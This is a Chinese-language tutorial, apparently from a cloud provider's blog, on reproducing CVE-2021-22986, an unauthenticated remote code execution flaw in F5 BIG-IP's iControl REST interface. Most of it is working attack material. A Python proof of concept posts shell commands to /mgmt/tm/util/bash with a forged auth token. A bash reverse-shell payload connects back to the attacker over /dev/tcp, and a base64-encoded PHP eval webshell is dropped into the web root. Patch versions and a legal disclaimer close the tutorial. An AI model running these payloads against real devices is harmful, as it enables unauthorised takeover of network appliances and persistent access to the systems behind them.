怎么实现F5 BIG-IP 远程代码执行漏洞CVE-2021-22986复现

发布时间:2021-12-29 17:50:47 作者:柒染
来源:亿速云 阅读:204
# 怎么实现F5 BIG-IP 远程代码执行漏洞CVE-2021-22986复现

## 漏洞概述

CVE-2021-22986是F5 BIG-IP设备中一个高危的远程代码执行漏洞,影响以下版本:
- 16.0.0 - 16.0.1
- 15.1.0 - 15.1.2
- 14.1.0 - 14.1.3.1
- 13.1.0 - 13.1.3.5
- 12.1.0 - 12.1.5.2

该漏洞存在于iControl REST认证组件中,未经认证的攻击者可通过构造特殊请求实现远程代码执行。

## 环境准备

### 实验环境要求
1. 受影响的F5 BIG-IP虚拟设备(可使用官方试用版)
2. Kali Linux攻击机
3. 网络互通的环境

### 工具安装
```bash
# 安装必要工具
sudo apt update
sudo apt install -y python3 python3-pip curl nmap

# 安装漏洞利用相关库
pip3 install requests urllib3

漏洞验证步骤

第一步:目标识别

使用nmap扫描目标开放端口:

nmap -sV -p 443 <target_ip>

确认目标是否开放443端口且服务为F5 BIG-IP。

第二步:版本确认

通过HTTP请求获取版本信息:

curl -k https://<target_ip>/mgmt/tm/sys/version -v

返回结果类似:

{"kind":"tm:sys:version:versionstats","selfLink":"https://localhost/mgmt/tm/sys/version","entries":{"https://localhost/mgmt/tm/sys/version/0":{"nestedStats":{"entries":{"Build":{"description":"0.0.6"}..."Product":{"description":"BIG-IP"},"Version":{"description":"16.0.1"}}}}}

第三步:漏洞检测POC

使用Python检测脚本:

import requests
import urllib3
urllib3.disable_warnings()

target = "https://<target_ip>"
path = "/mgmt/tm/util/bash"
headers = {
    "Authorization": "Basic YWRtaW46",  # 默认凭据尝试
    "X-F5-Auth-Token": "a",
    "Content-Type": "application/json"
}
data = '{"command":"run","utilCmdArgs":"-c id"}'

try:
    response = requests.post(
        f"{target}{path}",
        headers=headers,
        data=data,
        verify=False,
        timeout=5
    )
    if "commandResult" in response.text:
        print("[+] 漏洞存在!响应:", response.text)
    else:
        print("[-] 目标可能不受影响")
except Exception as e:
    print("[!] 请求失败:", str(e))

完整漏洞利用

方法一:通过RCE获取反向Shell

  1. 在攻击机监听端口:
nc -lvnp 4444
  1. 执行反弹Shell命令(需编码):
payload = '{"command":"run","utilCmdArgs":"-c \'bash -i >& /dev/tcp/<your_ip>/4444 0>&1\'"}'
response = requests.post(
    f"{target}{path}",
    headers=headers,
    data=payload,
    verify=False
)

方法二:上传WebShell

upload_payload = {
    "command": "run",
    "utilCmdArgs": "-c 'echo PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7Pz4= | base64 -d > /var/www/html/shell.php'"
}

修复建议

  1. 官方解决方案:

    • 升级到以下修复版本:
      • 16.1.0+
      • 15.1.3+
      • 14.1.4+
      • 13.1.4+
      • 12.1.6+
  2. 临时缓解措施:

    # 限制iControl REST接口访问
    tmsh modify /sys httpd allow replace-all-with { 127.0.0.1 }
    tmsh save /sys config
    

法律声明

本文仅用于安全研究和授权测试。未经授权对他人系统进行测试属于违法行为。所有实验应在隔离环境或获得明确授权后进行。

参考链接

  1. F5官方公告
  2. CVE详细报告
  3. MITRE ATT&CK相关技术

”`

注意:实际复现时请确保: 1. 使用虚拟机环境 2. 不要对公网未授权设备测试 3. 遵守当地网络安全法律法规

推荐阅读:
  1. F5新型数据中心防火墙
  2. F5 BIGIP HA配置

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

f5 big-ip cve-2021-22986

上一篇:abap结构或内表怎么实现与json字符串相互转换.

下一篇:如何使用fastcache

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》